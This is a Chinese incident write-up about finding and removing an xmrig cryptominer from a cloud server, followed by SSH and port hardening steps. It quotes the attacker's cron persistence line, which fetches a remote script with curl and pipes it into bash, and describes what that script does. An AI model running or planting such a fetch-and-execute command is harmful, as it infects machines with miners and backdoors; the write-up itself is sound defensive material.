最近几天收到阿里云的信息提示我的服务器存在挖矿行为,因为是过年期间并没有在意,过几天发现网站越来越慢,经过排查发现CPU顶满了,经过一系列的排查发现了木马程序。
1、查看进程 top 命令 看看异常信息
[root@localhost ~]# top
发现不明进程
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 2805 root 30 10 366664 12268 8 S 86.4 0.7 54:18.40 xmrig
我输入ctrl+c之后top命令停止了
2、查询进程程序路径
接下来根据进程ID查询产生进程程序路径,可以执行“ls -al/proc/$PID/exe”,就能获知pid对应的可执行文件路径,其中$PID为查询到的进程ID.
[root@localhost ~]# ls -al /proc/2805/exe -> /tmp/.C3-unix/xmrig (deleted)
找到程序路径以及pid,就可以清除这个挖矿程序了,结束异常进程执行如下:
[root@localhost ~]# kill -9 2805
删除异常程序
[root@localhost ~]# rm -rf /tmp/.C3-unix/xmrig
清除完毕,然后top查看了系统进程状态,xmrig进程已经不在了,系统负载也开始下降。当时以为这样就完成了,没有找到根源,次日发现挖矿程序又重新恢复了,又发现xmrig进程启动起来了。
在网上查找资料,分析可能是有定时任务被注入了,感觉应该是crontab里面被写入了定时任务。于是,下面开始检查系统的crontab文件的内容。
3、查找不明定时任务
linux下有系统级别的crontab和用户级别的crontab,用户级别下的crontab定义后,会在/var/spool/cron目录下创建对应用户的计划任务脚本,而系统级别下的crontab,可以直接查看/etc/crontab文件。
3.1、首先查看 /var/spool/cron目录,查询一下系统中是否有异常的用户计划任务脚本程序。
如下图所示:
[root@localhost cron]# ll /var/spool/cron total 4 -rw------- 1 root root 63 Feb 8 09:16 root [root@localhost cron]# cat /var/spool/cron/root* 30 23 * * * bash <(curl -sL http://tools.a2ack.com/xmr/xmr.sh)
可以发现,/var/spool/cron中只有一个被写入的计划任务。计划任务是一样的,计划任务的设置策略是:
每天的23点30,这段时间内,执行一个curl操作,这个curl操作会从tools.a2ack.com这个网站上下载一个脚本,然后在本地服务器上执行。
既然发现了这个下载脚本的网站,那就看看下载下来的脚本到底是什么,执行了什么操作。
http://tools.a2ack.com/xmr/xmr.sh 下载下来分析内容:主要是获取所有版本,并尝试删除某些控制文件,在主要某些路径中创建木马文件(这里我怀疑是骇客防止被发现后留的后门)。结束主要进程,下载挖矿程序并执行,最后就是删除所有linux操作痕迹。到这里为止,挖矿程序的运行机制基本清楚了。
我们根据脚本的线索将注入的病毒程序删除。
4、系统安全加固
4.1、考虑到我有很多的端口都是对外开放的,这样不是很安全,就在阿里云中将端口没用的删除,其它的做好授权对象。
4.2、给阿里云服务器如何创建密钥,这要会加大SSH安全性
4.3、保证authorized_keys文件的安全
authorized_keys文件非常重要,它存储着本地系统可以允许远端计算机系统ssh免密码登陆的账号信息。也就是远端的计算机可以通过什么账号不需要输入密码就可以远程登陆本系统。默认情况下此文件权限为600才能正常工作,为了安全起见,可将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限,即为:
chmod 400 ~/.ssh/authorized_keys
同时,为保证authorized_keys的权限不会被改掉,还建议设置该文件的immutable位权限:
chattr +i ~/.ssh/authorized_keys
这样,authorized_keys文件就被锁定了,如果不解锁的话,root用户也无法修改此文件。